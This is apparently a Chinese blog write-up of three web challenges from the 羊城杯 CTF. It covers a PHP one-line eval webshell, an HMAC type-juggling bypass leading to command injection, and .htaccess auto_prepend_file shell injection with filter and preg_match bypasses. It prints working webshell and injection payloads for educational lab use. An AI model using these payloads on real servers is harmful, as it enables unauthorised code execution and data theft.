羊城杯Web题总结与复现

0x00 前言

总结一下羊城杯的Web题,就做出几道。发现有的题是原题改的,不过涉及到一些没有学过的知识,简单总结一下。

0x01 easycon

考点:一句话木马+base64转图片
打开题目,发现是Apache默认页,使用扫描工具扫描一下
在这里插入图片描述
发现index.php,访问发现弹窗eval post cmd,意思很明显,就是post传入cmd参数,并且应该使用了eval()函数。所以,源码里应该有<?php eval($_POST['cmd']);?>,一句话木马,蚁剑直接连
在这里插入图片描述
发现上图所示的这些文件,发现bbbbbbbbb.txt里边的文件内容很多,并且像base64编码。
在这里插入图片描述
同时看到开头的/9j/,根据经验是base64编码转图片,并且头部缺少内容data:image/jpg;base64,
找一个base64在线转图片的网站,加上缺少的内容,进行转换,得到带有flag的图片
在这里插入图片描述

0x02 BlackCat

考点:文件分析+代码审计+弱类型+hash
查看源代码,发现注释<!--都说听听歌了!-->。于是下载引用的音频文件Hei_Mao_Jing_Chang.mp3,使用winhex打开,在最后边发现
在这里插入图片描述
复制出来,得到源码:

//post传入Black-Cat-Sheriff和One-ear绕过判断
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");   //获取一个环境变量的值
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); //使用 HMAC 方法生成带有密钥的哈希值
//PHP的类型自动转换,控制的变量只有One-ear和White-cat-monitor
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

代码的大概意思:

POST传入Black-Cat-Sheriff和One-ear,绕过第一个判断
POST传入White-cat-monitor,绕过第二个判断,且传入的是数组使$clandestine为NULL,即将下一个加密的密钥置空
POST传入的Black-Cat-Sheriff与加密后的One-ear相同,绕过第三个判断
最终执行echo exec("nc".$_POST['One-ear']);表示成功

测试一下下面这两条语句:
语句1

php > var_dump(hash_hmac('sha256',array(1),'123'));
PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
NULL

在这里插入图片描述
post传入White-cat-monitor为数组,对White-cat-monitor加密后使得$clandestine为NULL
语句2

php > var_dump(hash_hmac('sha256',';id',NULL));
string(64) "58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1"

对post传入的One-ear进行加密,生成hash值。
审计完代码后,开始做题:
1、POST传入Black-Cat-Sheriff和One-ear,使Black-Cat-Sheriff与加密后的One-ear相同
One-ear的值为:;cat flag.php (通过目录扫描扫到flag.php文件)
Black-Cat-Sheriff的值为:One-ear加密后的值,即:

php > var_dump(hash_hmac('sha256',';cat flag.php',NULL));
string(64) "04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6"

Black-Cat-Sheriff的值为:
04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

2、POST传入White-cat-monitor数组(即White-cat-monitor[]=1)使$clandestine为NULL
最终得到的payload为:

Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1

post传入得到flag
在这里插入图片描述

0x03 easyphp

考点:.htaccess解析+命令注入+相关绕过
打开题目,发现源码:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

发现是2019XNUCA的easyphp原题改的,不过少了include_once("fl3g.php");,其他关键部分基本没变。所以可以参考解题。
题目的大致意思:

1、通过file_put_contents函数来写马
2、对我们可以控制的参数$filename$content分别进行了preg_match函数和stristr函数的过滤,
preg_match的过滤要求是输入的文件名必须只能带有[a-z\.]范围的字符
stristr函数则是过滤了on,html,type,flag,upload和file关键字
3、本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件

解题思路

根据题目的意思只解析index.php,想到以下方法:
1、写入一句话木马到index.php
2、写入一个.htaccess让当前目录下的所有文件都能解析为php文件
3、写入一个.user.ini让index.php自动包含上我们写入的马

第一种方法是最简单的,直接写入一句话木马到index.php即可
第二种方法,一定需要写多次,前面写的.htaccess会被删掉;而如果是写上开头自动包含,并且包含的文件就是.user.ini,并且在.user.ini中直接写入马,那么理论上index.php在删除前就可以执行到我们写入的马。
第三种方法,利用.user.ini设置文件自动包含。这里尝试一下,没有成功。

第一种解题方法:直接写入一句话木马

直接写入一句话木马到index.php

?filename=index.php&content=<?php eval($_POST['qwzf']); ?>

蚁剑连接,找到flag即可。

第二种解题方法:利用.htaccess设置文件自动包含

.htaccess设置php环境变量的格式

.htaccess也可以设置开头自动包含,.htaccess设置php环境变量的格式:

#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess

auto_prepend_file与auto_append_file

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。
php.ini中有两项

auto_prepend_file #在页面顶部加载文件
auto_append_file  #在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

绕过过滤

1、绕过\n的过滤

于是确定我们要写入的文件.htaccess,文件内容为:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\

末尾有个符号\是必须写入的,我们注意到源代码中file_put_contents中的文件内容传入的变量$content末尾还连接上了\nHello, world这个字符串,而\n代表着换行,而我们再一个\,则会拼接成\\n,即转义掉了n前面的\,构不成换行。换句话来说,如果我们没有加入\,那么写入.htaccess的文件内容就为:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,那么当前目录下的所有文件就会面临崩溃,所以说,末尾必须写入\

2、绕过stristr的过滤

上边写入文件.htaccess的内容里包含了file关键字,被stristr过滤,所以要绕过stristr的过滤

if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
1.方法一:使用base64加密绕过stristr函数

p神的一篇文章:谈一谈php://filter的妙用
提到file_put_contents函数中的第一个参数$filename,即写入的文件名是可以控制协议的,所以我们可以用php://filter流base64-decode方法将文件内容参数$content进行base64解码,那么这样就可以通过将内容进行base64加密来绕过stristr函数的检查。
测试代码:

<?php 
    $filename = $_GET['filename'];
    $content = $_GET['content'];
    if(stristr($content,'<?php')){
        echo 'Hacker';
        die();
    } 
    file_put_contents($filename, $content);
?>

对要写入的content进行base64编码:

>>> base64.b64encode('<?php phpinfo(); ?>')
'PD9waHAgcGhwaW5mbygpOyA/Pg=='

测试payload

?filename=php://filter/write=convert.base64-decode/resource=phpinfo.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==

访问phpinfo.php,成功显示phpinfo信息。
绕过preg_match

if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) ,因此存在了被绕过的可能。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。
看xnuca2019-ezphp的wp发现一篇文章:preg_match函数绕过
思路是:通过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit参数来控制
PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini设置,也可以通过 phpinfo页面查看。
在这里插入图片描述

要让preg_match返回false,也就是匹配不到,即可绕过preg_match。这里就有一个骚操作,就是通过设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。
测试一下,是否能绕过preg_match:

<?php
ini_set('pcre.backtrack_limit',0);
var_dump(preg_match('/[^a-z\.]/','php://filter'));
?>
//bool(false) 

成功绕过preg_match。
pcre.backtrack_limit设置的是php的环境变量,也可以在.htaccess里设置,最终写入到.htaccess中内容如下:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。
最终payload:

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();

网上都有这种方法做题,然而经过测试,并没有成功,在buu上复现xnuca2019-ezphp也没有成功。可能是环境问题。(暂时不知道是什么问题,等发现是什么问题后,再继续总结)

2.方法二:对过滤的关键字中间添加换行\n绕过stristr函数

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
payload如下:

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

写入.htaccess的内容:

php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>\ 
Just one chance

然后访问index.php即可得到flag:
在这里插入图片描述
参考:
从xnuca2019-ezphp深入学习.htaccess
2019XNUCA部分Web复盘

0x04 后记

基本总结完毕,比赛收获了很多知识。更深一步的了解到了.htaccess解析。继续努力!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏